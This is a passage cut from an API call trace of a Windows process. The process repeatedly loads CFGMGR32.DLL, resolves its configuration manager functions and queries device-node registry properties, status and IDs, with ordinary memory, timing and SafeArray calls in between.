lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3ce93234, dwHighDateTime=0x1d9eb0c)) [0216.672] SetEvent (hEvent=0x248) returned 1 [0216.674] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.674] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.678] malloc (_Size=0x18) returned 0x20abc281b80 [0216.678] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.684] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ceb8b56, dwHighDateTime=0x1d9eb0c)) [0216.684] SetEvent (hEvent=0x248) returned 1 [0216.685] SetEvent (hEvent=0x248) returned 1 [0216.685] free (_Block=0x20abc27cf80) [0216.686] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.686] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ceb8b56, dwHighDateTime=0x1d9eb0c)) [0216.686] SetEvent (hEvent=0x248) returned 1 [0216.688] SetEvent (hEvent=0x248) returned 1 [0216.688] free (_Block=0x20abc27cf80) [0216.688] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.689] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ceb8b56, dwHighDateTime=0x1d9eb0c)) [0216.689] SetEvent (hEvent=0x248) returned 1 [0216.690] SetEvent (hEvent=0x248) returned 1 [0216.691] free (_Block=0x20abc27cf80) [0216.691] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.691] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ceb8b56, dwHighDateTime=0x1d9eb0c)) [0216.691] SetEvent (hEvent=0x248) returned 1 [0216.697] SetEvent (hEvent=0x248) returned 1 [0216.697] free (_Block=0x20abc27cb20) [0216.697] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.699] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cedee1b, dwHighDateTime=0x1d9eb0c)) [0216.700] SetEvent (hEvent=0x248) returned 1 [0216.701] SetEvent (hEvent=0x248) returned 1 [0216.701] free (_Block=0x20abc27cb20) [0216.701] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0216.702] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3cedee1b, dwHighDateTime=0x1d9eb0c)) [0216.702] SetEvent (hEvent=0x248) returned 1 [0216.704] SetEvent (hEvent=0x248) returned 1 [0216.705] free (_Block=0x20abc27cf80) [0216.705] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0216.705] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3cedee1b, dwHighDateTime=0x1d9eb0c)) [0216.705] SetEvent (hEvent=0x248) returned 1 [0216.707] SetEvent (hEvent=0x248) returned 1 [0216.707] free (_Block=0x20abc27cb20) [0216.707] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0216.707] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3cedee1b, dwHighDateTime=0x1d9eb0c)) [0216.708] SetEvent (hEvent=0x248) returned 1 [0216.807] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.807] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.811] malloc (_Size=0x18) returned 0x20abc281dc0 [0216.812] CM_Get_Device_IDA (in: dnDevInst=0x3c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0F13\\4&22F5829E&0") returned 0x0 [0216.812] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3cfe9e8f, dwHighDateTime=0x1d9eb0c)) [0216.812] SetEvent (hEvent=0x248) returned 1 [0216.816] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.816] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.820] malloc (_Size=0x18) returned 0x20abc281de0 [0216.820] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0216.821] malloc (_Size=0x5a) returned 0x20abc2807d0 [0216.821] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0216.822] free (_Block=0x20abc2807d0) [0216.822] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3cfe9e8f, dwHighDateTime=0x1d9eb0c)) [0216.822] SetEvent (hEvent=0x248) returned 1 [0216.825] malloc (_Size=0x18) returned 0x20abc281e60 [0216.825] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0216.825] free (_Block=0x20abc281e60) [0216.825] malloc (_Size=0x18) returned 0x20abc281b60 [0216.825] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0216.825] free (_Block=0x20abc281b60) [0216.826] malloc (_Size=0x18) returned 0x20abc2819e0 [0216.826] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0216.826] free (_Block=0x20abc2819e0) [0216.826] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0216.826] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0216.826] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0216.826] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0216.826] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba798b0 [0216.826] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0216.826] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0216.826] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0216.826] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0216.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0216.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0216.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0216.828] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba798b0) returned 1 [0216.828] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0216.829] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.829] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.837] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.837] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.837] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.839] malloc (_Size=0x18) returned 0x20abc2820e0 [0216.839] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0216.839] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3d0367bd, dwHighDateTime=0x1d9eb0c)) [0216.840] SetEvent (hEvent=0x248) returned 1 [0216.843] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.843] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.846] malloc (_Size=0x18) returned 0x20abc281d60 [0216.846] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.849] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d0367bd, dwHighDateTime=0x1d9eb0c)) [0216.849] SetEvent (hEvent=0x248) returned 1 [0217.042] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.042] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.045] malloc (_Size=0x18) returned 